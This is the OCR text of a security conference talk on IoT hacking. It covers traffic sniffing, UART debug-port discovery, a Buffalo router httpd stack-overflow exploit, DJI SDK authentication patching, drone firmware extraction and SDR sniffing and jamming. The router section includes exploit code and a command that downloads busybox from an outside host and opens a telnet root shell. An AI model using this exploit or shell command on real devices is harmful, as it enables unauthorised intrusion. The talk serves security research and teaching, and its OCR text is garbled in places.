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Who am |

e Aaron Luo @ﬁggrgm

e Come from Taiwan

e Start security research since 15t B



Community Experience

e CHROOT/HITCON (security group) - member

e |[I,CSIST (government organizations) - training course instructor
e MJIB (government organizations) — consultant

e AIS3 (ministry of education) - training course instructor

e HITCON 2009,2012 — speaker

e SYSCAN360 — speaker

e CLOUDSEC Asia 2016 — speaker

e UISGCON12 — speaker

e DEFCON 24 — speaker
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e How to hacking loT?
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— Radio Signal

— Real Case

e Introduce the Car Architecture |
|

e Hacking the Car



How to hacking? (Before disassemble)

e Scanning open services
— Nmap

e Sniff traffics
— Router - tcpdump
— Mirror port
— Build bridge network
— Wifi hotspot
— Arp spoofing
— SDR

e Download the firmware

— From website
— From firmware update module



Sniff traffics — Router

e Software router — pfSense

Status » Diagnostics

WAN
Select the interface on which to capture traffic.

E 8.23.224.110

This value is either the Source or Destination IP address. The packet capture will look for this address in either field.
This value can be a domain name or IP address.
If you leave this field blank, all packets on the specified interface will be captured.

80

The port can be either the source or destination port. The packet capture will look for this port in either field.
Leave blank if you do not want to filter by port.

i

|

The Packet length is the number of bytes of each packet that will be captured. Default value is 0, which will capture the entire
frame regardless of its size.

Count

, 100

This is the number of packets the packet capture will grab. Default value is 100.
Enter 0 (zero) for no count limit.

Level of Detail

Normal
This is the level of detail that will be displayed after hitting 'Stop’ when the packets have been captured.
Note: This option does not affect the level of detail when downloading the packet capture.

Reverse DNS
Lookup

]

This check box will cause the packet capture to perform a reverse DNS lookup associated with all IP addresses.
Note: This option can cause delays for large packet captures.

[ Start ] [ Download Capture ] (The packet capture file was last updated: September 22nd, 2011 11:37:45 am.)

Packet Capture stopped.

Packets Captured:

11:36:33.844408
11:36:34.008737
11:36:34.009811
11:36:34.010628
11:36:34.172426
11:36:42.174105
11:36:42.175015
11:36:42.175280
11:36:42.176208
11:36:42.176669
11:36:42.177474
11:36:42.195300
11:36:42.196036
11:36:42.359499

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 8.23.224.110.80 > 192.168.0.107.51826: tcp O

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp 4
8.23.224.110.80 > 192.168.0.107.51826: tcp O
8.23.224.110.80 > 192.168.0.107.51826: tcp 1460

IP 8.23.224.110.80 > 192.168.0.107.51826: tcp 1460
8.23.224.110.80 > 192.168.0.107.51826: tcp 1460

IP 8.23.224.110.80 > 192.168.0.107.51826: tcp 508

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 192.168.0.107.51826 > 8.23.224.110.80: tcp O

IP 8.23.224.110.80 > 192.168.0.107.51826: tcp O



Sniff traffics — Mirror port

e LAN Tap Pro




Sniff traffics — Build bridge network

e RaspberryPI

e External Ethernet card*1
ifconfig eth0 0.0.0.0 promisc up
Ifconfig eth1 0.0.0.0 promisc up
Brctl addbr br0

Brctl addif brO ethO

Brctl addif brO ethl

Ifconfig brO up
tcpdump -i ethO



Sniff traffics — Arp Spoofing

e ettercap

e arpspoof+mitmproxy

attercap B.8.7

i~ arpspoof -1 eth -t 192.168.159.128 192.168.159.2

I— doppleganger — illithid - ettercap

this LAM <192.168.8.38 = 255.255.255.80

POST https://su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/viewSo
ftwareUpdates
~ 200 application/json 4.73kB 1.54MB/s
>> POST https://su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/viewSo
ftwareUpdates
«~ 200 application/json 4.73kB 1.55MB/s
GET https://init.itunes.apple.com/bag.xml?ix=58&0s=7&locale=en_NZ
~ 200 text/xml 24.74kB 2.32MB/s
GET https://init.itunes.apple.com/bag.xml?ix=58dsid=99763409&0s=7&locale=e
n_NZ
« 200 text/xml 24,74kB 1.06MB/s
POST https://p18-buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/addPushN
otificationType
~ 200 application/x-apple-plist 215B 167.12kB/s
GET https://init,.itunes.apple.com/bag.xml?ix=5&0s=7&locale=en_NZ
~ 200 text/xml 24,73kB 2.38MB/s
GET https://itunes.apple.com/WebObjects/MZStore.woa/wa/footerSections?app=
[2/234] [1l:itunes] ?:help [0.0.0.0:8080]

Your TP: 192_168.8.308 with HAC: AR:A AC:AB:F9 on 1Ff:




Sniff traffics - SDR

e Software-Defined Radio
— Generate any radio protocol if device support that frequency
— Writing Modulation / Demodulation program by yourself

— Simply inspect the radio spectrum




How to hacking? (After disassemble)

e |[dentify chipsets

e Find out the debug port
— UART
— SWD
— JTAG

e Dump the flash rom
— Bus Pirate

e Analysis the signal
— Logic Analyzer



ldentify chipsets

e Remove the glue

e Guess (google same type chipsets to compare datasheet)

16-PIN SOP (300mil)

DNU/SIO3 [
vCC [
RESET# [
NC O

NC O

NC O

Ccs# [}

SO/SI01 ]

O NOOO;E WN -

16
15
14
13
12
11
10

] SCLK
1 SI/SI00
1 NC

1 NC

] NC

1 NC

1 GND

1 WP#/SI02




Find out debug port

e UART
- TX

— RX STM32 F103 C8 CB :
g::spf:“k/lzsk %

— GND SRAM 20k 20
oun
>>
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VvDD2
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Dump the Rom

e Bus Pirate < S
e Dump EEPROM via SPI iy B

e W

~ e ZS? £59
- (UMD LR RLARY
T L L L LT LY

vCe

| HOLD

| | scLk

8 7 6 5-MOSI

12 3 4-GND
| | wp

| mIso

cs

Bus Pirate GND -> SPI pin 4 (GND)
Bus Pirate 3V3 -> SPI pin 8 (VLK)
Bus Pirate CLK -> SPI pin 6 (SCLK)
Bus Pirate MOSI -> SPI pin 5 (MOSI)
Bus Pirate CS -> SPI pin 1 (CS)

Bus Pirate MISO -> SPI pin 2 (MISO)

(reference from http://iotpentest.com/how-to-dump-the-firmware-from-the-router-using-buspirate/)



Analysis the signal

e Saleae Logic Analyzer
— Just care the GND

We've all decoded protocols by hand. Thankfully, those days are over.

Saleae logic analyzers come with decoders for Serial, I*C, SPI, 1-Wire, CAN, UNI/O, I?S, PCM, Manchester, and MP Mode.

0 - Async Senal
1-12C (Data)

2 - 2C (Clock)
3 - SPI{MOSD

4 - SPI (MISO)

5 - SPI{CLK)

6 - SPI (Enable)
e RESET"Condttion F‘ EADROM Command: (053]

G ==t Er N L )

WWTm— CHT _D'atTM_

8 - CAN I_' le s s e .
” e Header, Bitrate BOO KAz O 752
Sy EEE=E R |_? ‘?_? ‘?_l‘?_l?_l‘?_l‘?_?L? o 2 B A

10 - 125/PCM (Clock)
I - 25/PCM (Frame)

12 - 125/PCM (Data)

Chl OSAF

3 - Manchester

14 - MP Mode Senal




A real case
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Disassemble




Find out debug port —part 1

e Special unused 4 port
— Guess it’s debug port

— welding




— 2
Find out debug port — part

e Find out the GND

AC Adapter

Mode| #
In

( must receiveq
m‘uarngm.‘en&reﬂce {haxmay Cause Undesirgqd Operation
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c
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Find out debug port — part 3

e Test ports




Find out debug port — part 4

e Measure the voltage




Find out debug port — part 5

e Analysis the signal with Logic Analyzer
— GND-GND




Find out debug port — part 6

e Analysis the signal with Logic Analyzer

A ¥ Annotations +

Start - ||

00 Channel0 & ff
01 Channel &
02 Channel2 o e
03 Channel 3  ff ¥ Analyzers +

04 Channel4 & if

05 Channel5 & f

06 Channel 6 +
06 Channel & ¥ Decoded Protocals i

07 Channel7 4




Find out debug port — part 7

e Analysis the signal with Logic Analyzer
— Calculate the baudrate
— 1/0.00001725 ~= 57971

— General baudrate:
300,1200,2400,4800,9600,14400,19200,28800,38400,57600,115200

05 Channel 5 L +F |




Find out debug port — part 8

e Analysis the signal with Logic Analyzer

— Decode with Async Serial
— Baudrate 57600

Analyzer Settings

Serial 5 - Channel &' -

Bit Rate (Bits/s) | 57600
[] Uz Antoband
A Bitz per Transfer (Standard) -

1 Btop Bit (Standard) -

No Parity Bit (Standard) -

Least Significant Bit Sent First (Standacd) -
Mon Inverted (Standard)

Special Mode  None -

Save Cancel




Find out debug port —part 9

e Analysis the signal with Logic Analyzer
— Finally decode the signal




Find out debug port — part 10

e Analysis the signal with Logic Analyzer
— Finally we know...




Find out debug port —part 11

e Connect to USBTTL
— GND-GND
— TXD-RXD
— RXD-TXD




Find out debug port — part 12

Basic options for your PuTTY session

[ ] F i n a I Iy We got th e P u tty S h e | | Specify the destination you want to connect to

Serial line Speed
‘COMS ‘ ‘57600 ‘

Connection type:

ORaw () Telnet O RIogin ()SSH (@ Serial

I mmdA mmvim Ar Aalads - cbarad casmmise

&2 COMS - PuTTY _ O X

Time
6-11-28 16:23:34 CST) built-in shell (ash)
'help' for a list of mands.
(fERkxEuajcuocORF
psntpdate: Name

=== psntpdate: checkntp

killall: psntpdate:

mnt




Key mapping is wrong?

e Ox13 ->v
e Ox14 ->7

| "ChUsers\DarkhDe J
e 0x15 ->u e

pl 1] mnt dev media shin vapr

etc init home 1lih W

e Ox16 -> 7 ' EIEIEIEIEIEIEIEIHHHHHHHHHHHHHHHHHHHHHHHEIEIEIEIHHHHHHHHHEIEIEIEIEIEIHHHHHHHHHHHHHHHHHHHHHHHEIEIEIEI
e Ox17 ->t

e | follow this strange rule to write the decoder

char asciitable[] =" I\"#S%&'()*+,-
./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]”_"abcdefghijkimnopgrstuvwxyz{| }";

for (int i=0;i<sizeof(asciitable)-1;i++)

{
if (tmpchr == asciitable]i])
{
tmpinput[inputpos++] = 0x03+(sizeof(asciitable)-2-i)*2;
}



But Why?



Just because RXD did not weld well
Just because RXD did not weld well
Just because RXD did not weld well

FEFFFFEFFF
FFFFFFFFFF
FFFOO000
0000000
000000
000000
000000
000000



Pick up the filesystem

e tar -zcvf /www/fs.tar.gz /

2iE
bin
etc
etc_ro
lib
sbin
tmp
usr

var

[Eca HHA

2017/8/29 £ 05:31
2017/8/29 £+ 05:31
2017/8/29 £ 05:31
2017/8/29 £ 05:31
2017/8/29 £+ 05:31
2017/8/29 £ 05:31
2017/8/29 £ 05:31
2017/8/29 £ 05:31
2017/8/29 £ 05:31

B U R
IERERIK
BRERK
B U R
IERERIK
BRERK
EE= R
IERERIK
BRERK



Find the vulnerability — part 1

e Fuzzing the website

— httpClient.request("POST","/login.html","a"*(30000)

e /usr/sbin/httpd will crash

BUFFALDO

AirStation
WHR-1166DHP3 Version 2.60

a—H—%

admin

AVSyESEN

bsz7— k& ATLTCREE L,

L= v L ALEEE

B

A FEEAYG

192.168.11.1 FE#EELR -

R MUL
o IREIEARIRAE
o 1®& Proxy MPHKiE

ERR_CONNECTION_REFUSED



Find the vulnerability — part 2

e Upload gdbserver (mips version) for remote debugging
— Jusr/sbin/httpd; ./gdbserver --attach 0.0.0.0:5555 “pidof httpd"

B ' Ch\android_sdk\android-ndk-r14\prebuilt\windows-x86_64\bin\gdb.exe

GNU gdb (GDB) 7.11 A
Copyright (C) 2016 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://enu.org/licenses/epl.html>

This 1s free software: you are free to change and redistribute 1it.

There 1s NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "x86 64-w64-mingw32".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

f<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to
(adb) target remote 192.168.11.1:5555

jkemote debugging using 192.168.11.1:5555

0x2ba8ff24 in 2?7 ()

(gdb)




Find the vulnerability — part 3

e Stack overflow

e Finally located the crash function
— Jusr/sbin/httpd 0x0040D44C

e |f stack is incorrect it will crash before control the ra(ip)

e So need to dump original stack to fix
— dump memory stack.bin Ssp Ssp+26000

e ASLR is enabled

— # cat /proc/sys/kernel/randomize_va_space
-1



Find the vulnerability — part 4

e Control the ra (ip)

origstack = "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00*

sO = "\x41\x41\x41\x41"

s1 = "\x00\x00\x54\x00"

B ' C\android_sdk\android-ndk-r14\prebuilt\windows-x86_64\bin\gdb.exe
Remote connection closed

s2 = "\x43\x43\x43\x43" \(gdb) target remote 192.168.11.1:5
. : Remote debugs

3 = "\x44\x44\x44\x44 \HOTE : .

33 = Tad\daasx 0x2bc662b4 in 27 ()

s4 = "\x8C\x8E\x4F\x00" C

s5 = "\x46\x46\x46\x46" ’Co.nt 1nuing.

s6 = "\x60\xE2\x53\x00"

“Program received signal SIGSEGV, Segmentation fault.
s7 = "\x04\x00\x00\x00" 345678 1n 77 ()

s8 = "\x49\x49\x49\x49"

ra="\x78\x56\x34\x12"

e httpClient.request("POST","/login.html","a"*(25262)+origstac
k+s0+s1+52+53+54+s5+s6+s7+s8+ra)



Find the vulnerability — part 5

e Bypass the ASLR

— 1 - Conservative randomization. Shared libraries, stack, mmap(), VDSO
and heap are randomized.

— Find rop chain on self program

Python>mipsrop.system()

Ox0040T7558 addiu $a0,$sp,0x18 jalr system

OxDO4OTSAL addiu $a0,$sp,0x18 jalr system
Ox0040T5FO addiu $a0,$sp,0x18 jalr system
0x0040763C addiu $a0,$sp,0x18 jalr system
0x0040T7E88 addiu $a0,$sp,0x18 jalr system

I I I
I I I
I I I
I I I
I I I
| 0Ox004076D4 | addiu $a0,$sp.0x18 | jalr system
I I I
I I I
I I I
I I I
I I I

0x004078BO addiu $a@,$sp,0x50+var_38 jalr system
Ox0040T7958 addiu $a0,$sp,0x50+var_38 jalr system
0x0040T79BY addiu $a0,$sp,0x50+var_38 jalr system
Ox0040TA2S addiu $a0,$sp,0x50+var_38 jalr system
0x0R40TBSC addiu $a0,$sp,0x50+var_38 jalr system



Finally we got the RCE root shell

origstack = "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"

sO = "\x41\x41\x41\x41"

s1 = "\x00\x00\x54\x00" ?

s2 = "\x43\x43\x43\x43" e cont et M K11 167 €y 0w b

d
.168.11.1:5555

s3 = "\x44\x44\x44\x44" |

Justed from BxBB4dB56c to BxBA4dB568.
rom BxB804d@56c to BxA04dB568.

54 = "\x8C\X8E\x4F\x00" [t oo e [ron g o P
55 = "\x46\x46\x46\x46"  |EEREAN . o s s

56 = "\X60\XE2\x53\x00"  [HEEE .
s7 = "\x04\x00\x00\x00"
s8 = "\x49\x49\x49\x49"
ra = "\x58\x79\x40\x00"

command = "wget -O /tmp/busybox-mipsel http://192.168.11.4:8080/busybox-mipsel && chmod 755
/tmp/busybox-mipsel && cd /tmp && ./busybox-mipsel telnetd -1 /bin/sh -p 2323"

.—38384(gp)

httpClient.request("POST","/login.html","a"*(25262)+origstack+s0+s1+s2+s3+s4+s5+s6+s7+s8+ra+"a"*32+co
mmand,headers)



The Real Case
DJI-Phantom 3 Advanced




DJI Phantom 3A Architecture

e Drone
— Flight controller
e 2.4GHz radio module
e GPS module
e Sensors (compass, Gyroscope, Accelerometer, Barometer...etc.)
* Micro-USB Slug (flight simulating program need this to connect)
® MicroSD Slug (firmware updated usage and photo storage)

— Other Parts(battery, screw propeller, camera, gimbals, pilot lamp)

e Remote Controller
— 2.4GHz radio module
— USB Slug (I/0 function with phone’s App)
— Micro-USB Slug (firmware update usage)
— Other Parts (Joystick, button, lights)

e App/SDK
— Connect to Remote Control, display drone information

(like image of camera, GPS data and Compass)

— Operator Drone (drone takeoff, Automatic return)
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App/SDK Analysis



DJI App/SDK Flow Chart

DJI SDK Authentication Serve

Activation Request

Activation Data

Set remote controller in
Inteligent Flight Mode DJI APP

(running at the foreground)

Request Activation Data

pEe Receive Activation Data




Crack the SDK Authentication Mechanism

e Download SDK from DJI website

e Find key function with JD-GUI

dji-sdk.jar 3

- META-INF DJISDKManager.class 3
: g :Jf'a [ | :r‘ivute woid checkPermissionCy |
> BF aa boolean bool = WifiStateUtil . pingl STAT_TEST_LIKL, 3007 ;
» HF b.a.a if (!bool)
» £ ca £
»  H3 internal if () checkSakConfigFi leExist{mlontext}]
> B log i
> B3 logic dii.internal.a.a.a(sdkManagerCallback, DIISDKError. REGISTRATION COULD NOT_CONNECT_ TO_TIWNTERNETD
»  EF midware SOK_LEVEL = @3
» 3 publics T return;
v  EE sdk strl — getApplOCmContext);
- HR adarlink if (Cstrl — null) |1 C"".equalsIgnoreCase(stri))
>  E3 Battery |
» B3 camera dii.internal.a.a.aCsdkManagerCallback, DIISDKError.REGISTRATION_ EMPTY_APPKEYD
» B3 Codec SOK_LEVEL = @3
» 3 FlightController return;
» B Gimbal ¥
» B HandheldController :-F CCstrl.lengthCd 1= 243 |1 {!AppTdCheck(str1I)}
> E# MissionManager dii.internal.a.a.asdkManagercallback, DIISDKError.REGISTRATION INVALID APPKEYY;
> 3 Preducts SOK_LEVEL — B;
» 3 RemoteController return ;
w 3 sDKManager b
= [J] DlscaControllerActivity if (1dii.midware.b.a.a.a(d>
> [J] DIGlobalService £
B DJISDKManager | dii.internal.a.a.aCsdkManagerCallback, DIISDKError.REGISTRATION_ EMPTY_APPKEYD
| SOK_LEVEL = @;
= \ return ;
> S thirdparty SErZ = getDewicelOCmContesxty:
if (str2 == null)
i
dii.internal.a.a.alsdkManagerCallback, DITISDKError. REGISTRATION TNVAL T LTS
SDK_LEVEL — @;
return ;
T
checklLocalSdkConfigFileCmContext, strl, str2):
return;
T
String strl = getAppiDCmContext);
if (Cstrl — null) |1 (""" .equalsIgnoreCase(strll))
€
dii.internal.a.a.af{sdkManagerCallback, DIISDKError. REGIS TRATION_ EMPTY_APPKEYY
SDK_LEVEL = 8;
return;
T
if (Cstrl.length(d 1= 243 |1 {lAppIdCheck(strlla)
€
dii.internal.a.a.a(sdkManagerCallback, DIISODKError. REGISTRATION INVALID APPKEY):
SDK_LEVEL — @3
return;
T
if (1dji midware.b.a.a. a2




Crack the SDK Authentication Mechanism

e Use JBE - Java Bytecode Editor to patch the code

General Information
» 1 Constant Pool
Interfaces
» 0 Fields
¥ 9 Methods
» 0 <clinit>
» [ getinstance
> <init>
3 getDJIProduct
» 0 initSDKManager
» [ initParams
" startConnectionToProduct
» 1 stopConnectionToProduct
» [ registerApp
» [ getSDKVersion
» 1 getContext
A (0] Code
[0] StackMapTable
10 checkSdkConfigFileExist
0 AppldCheck
1 getDevicelD
[ parserJson
1 getSdkConfigFileFromServer
11 getinfoFromFile
11 deleteSdkConfigFile
1 writeSdkConfigToFile
1 getContentFromUrl

VW VTV ¥V VV-Y ¥

Generic info:

Attribute name index: cp_info #640

Attribute length:

74

Specific info:

Bytecode

Mis_c Code Editor

Save method

Exception table

iconst_2
putstatic dji/sdk/SDKManager/DJISDKManager/SDK_LEVEL I

return

About Java Bytecode Editor

Java Bytecode Editor
by Ando Saabas

based on

jclasslib bytecode viewer
Version 3.0

Copyright ej-technologies GmbH, 2001-2005
Licensed under the General Public License

This product includes software developed by the
Apache Software Foundation (http://www.apache.org/)

[0k




Crack the SDK Authentication Mechanism

e Check the result with JD-GUI

dji-sdk.jar new 3

> .Users.kenneylu DJISDKManager.class 3
> a.a.a
& private void checkPermizsion()
v B dj [
b Haaa SDK_LEVEL = 2;
b B ba }
L4 EE internal
B log private static boolean checkSdkConfigFileExist{Context paramContext)
»  H logic {
b H} midware b:lmlean bool = false; _
» 3 publics zllelnputStr‘eum localFilelnputStream = null;
¥ 3 sdk Y
8 Airtink t
¥ AlrLin localFileInpukStream = paramContext.openfileInput SOR_CONFIG_FILE_NAME);
> EE Battery 1
» i Camera catch (FileMotFoundException localFileNotFoundException)
» 1 Codec {
» 3 FlightController localFilelnputStream = null;
> 1 Gimbal ¥ _
» 3 HandheldController if (localFilelnputStream !'= null)
L4 EB MissionManager i ¢
» 1 Products {"}’
» 3 RemoteController localFileInputStream. closed);
¥ {8 sDKManager 1
» |I| DllAocaControllerActivity catch (I0Exception locallOException)
b [J] DNiGlobalService {
f pjsDkManager i }
b base | bool = true;
b B outil ¥
) return bool;
1 netitsz.afinal }
L4 Eﬁorg.npache.sanselan




Take off/Landing
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo2_Landing.MTS

Fly to specified location
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo3_ReturnToHome.MTS

Next section:

Firmware Analysis



Firmware Analysis

e Use the “Binwalk” can extract some data, but it is limited.

root@ubuntu:fhomefheilo# binwalk -e P3S_FW _V01.06.0040.bin

DECIMAL HEXADECIMAL DESCRIPTION

5639310 Bx560C8E LZMA compressed data, properties: 8xC8, dictionary
size: 16777216 bytes, uncompressed size: 67108864 bytes

5639346 Ox560CB2 LZMA compressed data, properties: 0x64, dictionary
size: 16777216 bytes, uncompressed size: 83886080 bytes

5639418 Ox560CFA LZMA compressed data, properties: 8xC8, dictionary
size: 16777216 bytes, uncompressed size: 134217728 bytes

5639634 Ox560DD2 LZMA compressed data, properties: 0x64, dictionary

# Aut
# Lin

01 F 7zip

21ADO1E.ubi 204C5DA 560C8E 560C8E.Tz
7zip 7zip
560CB2 560CB2.7z S60CFA 560CFA.7Tz
7zip 7zip
560DD2 560DD2.7z 560DF6 560DF6.7z
1zip 1zip
20637F3 20637F3.7z 206383B 206383B.7z
7zip

2063817 2063817.7z



Firmware Analysis

e Use IDA Pro to analyze the incomplete data

|(l

e We need to find out the real “ImageBase” to use the IDA

Pro string reference feature

signed int _fastcall sub 38C12C(int *al, int a2, int a3, unsigned int ad) signed int _ fastcall sub E9BC12C(int *al, int a2, int a3, unsigr
{ {

int *ud; int *vd;

signed int result; s int result;

int vé; nt v6;

nt v7; int v7;

int vSl int v8;

vl = al;
((la2 || a1 || a4 )

vl = al;
((la2 || lal || at )

( la1[1] || Ya1[2] || a4 != a1[3] + 256 )

( !al[;jJ\| la1[2] || a4 1= al[3] + 256 )

C(a2, a3 + 256, al[3]);

I . "Verifying image CRC ... done", v6, v7, v8);
(4, vb, v, v8); —
esult

sub_E6E16DC("Verifying image CRC ... @ failed!", vb, *vd, v8);

94, vb, *vd, v8); result = -1;

result;
result;




Firmware Analysis

e Use String Reference to find the key function

D4 - [ | [EPeudo @ | [EPseudoe- (] | [EPsvdoc (] | [E]Psevdoc-— [ | [F] Pseudoc

281 else if sub_E7FEGBC() *= 1 )}
282 {

283 Ul = =L

284 sub_E6&E1328(

28%
286
287
288
289
290
201 {int)"[DJI_UEG] %s: Invalid Firmwareld? Firmwareld[%d].",
202 {unsigned int)"DjilegPktUersionCheck”);

293 ¥
294 ¥
295 ¥

296 if ( w39 == 1 && U209 == uZ8 && twiZ )
297 {

298 +HUZ20;

299 if ( sub_EB774AB(A) == 5 )}

Jaa +HUZE;

3a1 ui[28] = 3;

Jaz if ( tdword_18B92438 )

303 v1[27] = 3;

Jah ¥

D ek o=k o=k
L .




Firmware Analysis

e Analysis and writing the parser

* check_rom_firmware ( = buffer, id_major, id_minor)

i;
{1=8; 1< 0221; ++1 )

{ id_major == buffer[188 = i + 132] && id_minor == buffer[188 = i + 136] )
8- ( *)&buffer[188 = i];
]

= + Bx3h4 = + HBx48 ;
= sub_EB76BDB(*( firmware_count = =( *){&buffer[Bx2C]);
= - printf{ .Firmware_count};
if h) section_info_header =sh = {section_info_header=)&buffer[Bz48];
{ =rom_offset = &buffer[offset_rom_update_firmware_info];
[1ﬂ % ® + 29] = =( { i=@;i<firmware_count;i++)
[18 x x +a8] = ( majorid = sh[i].checksum&Bxz1F ;
[10 = xul + 32] = ={ minorid = sh[i].checksum>>5;
sub_E6DBUBB( ( Jeaui[18 =rom_info = check_rom_firmware{rom_offset,majorid,minorid);
sub_EGDBL4BE( { Jeui[18 {rom_info}
= sub E876FBC{ = ; .
= = ) printf(
. buf[18];
1f ( ) sprintf{buf, L1313
{ FILE =fp2 = fopen{&rom_info[66], ¥;:
sub_EGDBUBE( { y{ub + furite{buffer+sh[i].offset,1,sh[i].size,fp2);
= 1; fclose(fp2);
=1;
= Z20888;
= 16000; hexdump{&sh[i], {section_info_header));
= 8; printf{
=ﬂ;

sub_EGEESB8( ( J&EuUnk_



Firmware Analysis

e Finally we can extract each firmware module with
detailed information

Firmware section count: 15
BxA0BA3 4e Major: ModuleMame = MCLDR BinaryMame = PHCLDRFw3 . hin 43776
BxAidBaede Major ModuleMame = MCAFPP BinaryMame = PHCAPPFw3 . hin 786432
BxAfdcaede Major ModuleMame: GIMBAL BinaryMame: PGIMBALFw3.hin 23676
Bxffdelcde Major ModuleMame = BATTERY BinaryMame: PBATTERYFw3.hin 17148
BxA0de6712 Major ModuleMame: ESCH BinaryMame = PESCHFw3 . hin 42496
BxA0df Ad12 Major ModuleMame = ESC1 BinaryMame = PESC1Fw3.hin 42496
BxA0df h312 Major ModuleMame = ESG2 BinaryMame = PESCZ2Fw3.hin 42496
BxA01 85712 Major ModuleMame = ESG3 BinaryMame = PESC3IFw3.hin 42496
BxAf1B8f 12 Major ModuleMame: 68813 BinaryMame = P6BHA13IFw3 . hin 26808
BxAA11898a Major ModuleMame = MUOM<4 BinaryMame = PHUOM4Fw3 . hin TRV
BxB0123%2he Major ModuleMame = MUOMA BinaryMame = PHUOMBAFw3 . hin 25968
BxB012%ef 2 Major ModuleMame = FPGA BinaryMame = PFPGAFw3 . hin 4194384
BxAA522ef 2 Major ModuleMame : FC3885 BinaryMame: PFC3AA5Fw3.hin 56766764
BxA3h4dBle Major ModuleMame : CAMLDR BinaryMame: PCAMLDRAFw3.hin 4127808
BxA3bhicBa Major ModuleMame:= 1765 BinaryMame = P1765Fuw3 . hin B1284

Press any key to continue

1KY
it

|| P1765Fw3.bin 2016/2/1
|| PBBO13Fw3.bin 201
|| PBATTERYFw3.bin 201
|| PCAMLDRFw3.bin 201
|| PESCOFw3.bin 201
|| PESC1Fw3.bin 201 1
|| PESC2Fw3.bin 2016/2/1 F
|| PESC3Fw3.bin 201
|| PFC3005Fw3.bin 201
|| PFPGAFw3.bin 201
|| PGIMBALFw3.bin 201
|| PMCAPPFw3.bin 201
|| PMCLDRFw3.bin 201
| PMVOMOFw3.bin 201
|| PMVOM4Fw3.bin 2016/2/1 T




Firmware Analysis

e Extract UBI file system from PFC300SFw3.bin

B P3A_01.06.0040_roottar.gz - Win ich

| BED &30 IES ZMEE0 Z2EN =6HH)
D, JEI RS
=8 = S

0. 2EE =

Ag  BE il

0 ‘ B P3A_01.06.0040_root tar.gz - TAR+GZIP 418, #5155\ 21,333,700 {174 \

B PeA 01060040} 23 A sEe §B O+

----- o | |
Ej e:: L var Folder
[]—--j: home Llusr Folder
[]---j; lib L tmp Folder
..... || media N Folder
----- 1 mnt L shin Folder

----- 1) opt | root Folder |=
""" L pref 1 proc Folder
""" & proc 1 pref Folder
""" b rf:t | opt Folder
""" o som o mnt Folder

..... |5

. tﬁp | media Folder
s ik Folder

[]J_ Var J home Folder
letc Folder
Jidev Folder

1 bin Folder =
om Kl i | b

=L 216 EENE, 242 i, &3 3 BEE




Firmware Analysis

e extract some interesting things from file system (for
example, ssh key data and configuration,
/etc/shadow...etc.)




Let’s play SDR (software defined radio)



What is SDR

e Software-Defined Radio
— Generate any radio protocol if device support that frequency
— Writing Modulation / Demodulation program by yourself

— Simply inspect the radio spectrum




SDR Tools

e HackRF tools

e Ggrx - Display the spectrum waterfall

e GNURadio — GUI tool for modulation/demodulation

e OpenBTS — open source tool for building GSM Station
e Artemis — Identify protocol

e Baudline — for analysis the I/Q data



If you have the SDR



Sniffing walkie-talkie conversation

DEMO


file:///C:/Users/User/Desktop/Conference/Demo_Video/Walkie-talkie.mov

Jamming the radio signal (like DDQOS)

DEMO


file:///C:/Users/User/Desktop/Conference/Demo_Video/jamming.mp4

Sniffing airplane <-> ground station ads-b signal

Google Earth ¥ SNA i Z 4x 9:08PM %

File Edit View Tools Add Help
¥ Search ‘ E ®

\ Search |

L

ex: pizza near NYC
Get Directions History

¥ Places
HERE Sightseeing Tour

JSaint-Jérome

»)

= ¥/ Temporary Places
= V3 untitied Network L.
[+ B2 Range rings
= ¥/ &3 Aircraft locations
v @ AcAsss

Sainte-Ahne;des-Plaines e o)
O Blainville o : B =~ O'Saint-Lin-

Yl
V| @ AcAse4

Pointe=Claire

—

¥ Layers Earth Gallery > “
= ¥/ Primary Database
2 v P Borders and Labels
[+ V"P Borders
# ¥ & Labels
Places
2 Photos
E= Roads
& 3D Buildings
¥ @ ocean
a' Weather
@ Gallery

#

\; \\ o 2 o1 oy
R glona\l County Municipality™
hY
\\/,,
2013 DigitalGlobe

@ Global Awareness / > 2013iGoogle ‘o
[J more 5 & ~ e § 2 013'Cnes/Spot Image

& - -

K Imagery Date: 5/8/2004




Sniffing GSM — SMS traffic

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help LI ))

00 4m @NXC QA »¥T4EFE vl §BEX @

Filter: | gsm_sms v | Expression.. Clear Apply Save

3:44PM {

No. Time Source Destination Protocol Length Info
12338 286.1869020€127.0.0.1 127.68.0.1 GSM SMS 81 I, N(R)=@, N(S)=0(DTAP) (SMS) CP-DATA (RP) RP-DATA (Network to MS)

FUIM 1HF NEdUCT , ARCLNGD © (UUWIILLIOR ), 120 L, Lladlllgw: suwengo (L)
pLink Access Procedure, Channel Dm (LAPDm)
pGSM A-I/F DTAP - CP-DATA
wGSM A-I/F RP - RP-DATA (Network to MS)
Message Type RP-DATA (Network to MS)
vRP-Message Reference
RP-Message Reference: 8x81 (1)
